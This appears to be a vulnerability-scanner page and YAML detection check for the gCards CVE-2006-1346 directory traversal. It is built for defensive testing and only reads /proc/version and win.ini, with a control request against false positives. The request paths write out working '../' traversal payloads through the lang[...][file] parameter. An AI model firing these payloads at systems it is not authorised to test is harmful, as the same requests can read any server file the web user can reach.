gCards — 1 vulnerability check

noctis ships 1 vulnerability check for gCards, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

gCards index.php setLang directory traversal file inclusion

CVECVE-2006-1346
Severitymedium · CVSS 6.4
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/gcards/CVE-2006-1346.yaml

Tests gCards 1.45 and earlier for the unauthenticated directory traversal in index.php / inc/setLang.php: the file name given in the lang[...][file] parameter is included without being cleaned, so ../ sequences reach any local file the web server can read. Under the web root and /gcards, the feed first checks that index.php is a gCards page, then asks it to include /proc/version, a read-only kernel file, and windows/win.ini for Windows servers. The kernel version line or the win.ini sections printed in the page confirm the flaw. A control request for an absent random file through the same parameter must not return the file, so a server that serves the same content on every request is not reported. Nothing is written on the target.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/index.php
  2. Checks home_r.body for >gCards</a> v.*Graphics by Greg gCards
  3. HTTP(S) request GET {{dir}}/index.php?setLang=noctis&lang[noctis][file]=../../../../../../../../../../../…
  4. Checks version_r.body for Linux version [0-9]+\.[0-9]+[^ \r\n<]* \([^\r\n]*\) #[0-9]+
  5. HTTP(S) request GET {{dir}}/index.php?setLang=noctis&lang[noctis][file]=../../../../../../../../../../../…
  6. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  7. HTTP(S) request GET {{dir}}/index.php?setLang=noctis&lang[noctis][file]=../../../../../../../../../../../…
  8. Checks ctrl_r.body for (?i)(Linux version [0-9]+\.[0-9]+[^ \r\n<]* \(|; for 16-bit app suppo…
  9. Checks hit_file for ^(proc/version|windows/win\.ini)$ → finding QoD 75: gCards index.php setLang directory traversal file inclusion (CVE-2006-1346)

References:

Feed source — tests/vulnerabilities/gcards/CVE-2006-1346.yaml
# gCards <= 1.45 index.php / inc/setLang.php directory traversal (local file inclusion) — CVE-2006-1346
#
# gCards 1.45 and earlier include a language file named by the lang[<name>][file]
# request parameter without cleaning it, so "../" sequences reach any local file,
# which PHP runs (or prints as-is when it holds no PHP code). Fixed in 1.46.
#
# Detection (benign, read-only): with index.php?setLang=<name>&lang[<name>][file]=...
# include /proc/version, a read-only kernel file with a fixed "Linux version
# <release> (...) #<n>" format; windows/win.ini when the Linux file gives nothing.
# The printed content proves the inclusion. QoD 75 (response analysis).
#
# Improvements over the source NASL:
#   - /proc/version replaces /etc/passwd as the Linux proof (nothing sensitive is read).
#   - Twelve "../" levels, so the include works whatever the install depth.
#   - A control request (same parameter, a path in an absent random directory that
#     ends with the file that hit) must come back WITHOUT the file content, so a
#     blanket responder or a honeypot keyed on the file name is not reported
#     (fail-closed: no control reply -> no finding).
#   - The install pages are probed directly (web root, /gcards) and gated on the
#     gCards footer, the same way the NASL does.
#
# CVEs: the NASL lists CVE-2006-1346 (this traversal), CVE-2006-1347 (loginfunction.php
# SQL injection) and CVE-2006-1348 (XSS in the include error message). Only the
# traversal is exercised, so only it is named. CVSS: NVD has only a v2 score (6.4).
#
# Ported from OpenVAS/Greenbone NVT 2008/gcards_dir_transversal.nasl
# (OID 1.3.6.1.4.1.25623.1.0.80065, GPL-2.0-only).
uid: 9ff4c2d4-79d4-4cc1-bac4-c0740eabddb1
name: "gCards index.php setLang directory traversal file inclusion (CVE-2006-1346)"
description: |
  Tests gCards 1.45 and earlier for the unauthenticated directory traversal in
  index.php / inc/setLang.php: the file name given in the lang[...][file]
  parameter is included without being cleaned, so ../ sequences reach any local
  file the web server can read. Under the web root and /gcards, the feed first
  checks that index.php is a gCards page, then asks it to include /proc/version,
  a read-only kernel file, and windows/win.ini for Windows servers. The kernel
  version line or the win.ini sections printed in the page confirm the flaw. A
  control request for an absent random file through the same parameter must not
  return the file, so a server that serves the same content on every request is
  not reported. Nothing is written on the target.
cves: [CVE-2006-1346]
cvss: 6.4  # NVD publishes only a v2 base score for this CVE
severity: medium
category: file-read
confidence_base: 0.30
tags: [gcards, php, local-file-inclusion, lfi, path-traversal, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-1346"
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-1347"
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-1348"
  # OpenVAS/Greenbone NASL 2008/gcards_dir_transversal.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per install location.
  - id: init-hit-file
    action: set_var
    var_name: hit_file
    var_value: ""
    loop:
      var: dir
      over: ["", "/gcards"]

  - id: init-hit-text
    action: set_var
    var_name: hit_text
    var_value: ""

  - id: init-home-r
    action: set_var
    var_name: home_r
    var_value: {status: 0, body: ""}

  - id: init-version-r
    action: set_var
    var_name: version_r
    var_value: {status: 0, body: ""}

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Gate: a gCards page ──────────────────────────────────────────────────
  - id: home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: home_r

  - id: home-gcards
    action: match
    source: home_r.body
    pattern: ">gCards</a> v.*Graphics by Greg gCards"
    condition: "home_r.status == 200"
    on_match:
      set_vars:
        hit_file: "gate"

  # ── Proof: include /proc/version, then windows/win.ini ───────────────────
  - id: version
    action: http_request
    method: GET
    path: "{{dir}}/index.php?setLang=noctis&lang[noctis][file]=../../../../../../../../../../../../proc/version"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_file == "gate"'
    store_as: version_r

  - id: version-content
    action: match
    source: version_r.body
    pattern: "Linux version [0-9]+\\.[0-9]+[^ \\r\\n<]* \\([^\\r\\n]*\\) #[0-9]+"
    condition: 'hit_file == "gate"'
    on_match:
      set_vars:
        hit_file: "proc/version"
        hit_text: "the Linux kernel version line of /proc/version"

  - id: winini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?setLang=noctis&lang[noctis][file]=../../../../../../../../../../../../windows/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_file == "gate"'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'hit_file == "gate"'
    on_match:
      set_vars:
        hit_file: "windows/win.ini"
        hit_text: "the sections of windows/win.ini"

  # ── Control: same parameter, absent random file ending with the hit file ─
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?setLang=noctis&lang[noctis][file]=../../../../../../../../../../../../noctis-absent-{{oob_token}}/{{hit_file}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_file == "proc/version" || hit_file == "windows/win.ini"'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?i)(Linux version [0-9]+\\.[0-9]+[^ \\r\\n<]* \\(|; for 16-bit app support|\\[fonts\\])"
    condition: 'hit_file == "proc/version" || hit_file == "windows/win.ini"'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report
    action: match
    source: hit_file
    pattern: "^(proc/version|windows/win\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "gCards index.php setLang directory traversal file inclusion (CVE-2006-1346)"
        description: "An unauthenticated request whose lang[...][file] parameter held a ../ sequence made gCards include a local system file and print it, while the same request for an absent file did not. The same flaw includes any file the web server user can read, such as the site's settings or a log file, and runs any PHP code it holds."
        remediation: "Upgrade gCards to 1.46 or later (the product is no longer maintained: consider removing it) and restrict the files the web server user can read."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?setLang=noctis&lang[noctis][file]=../../../../../../../../../../../../{{hit_file}} returned {{hit_text}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub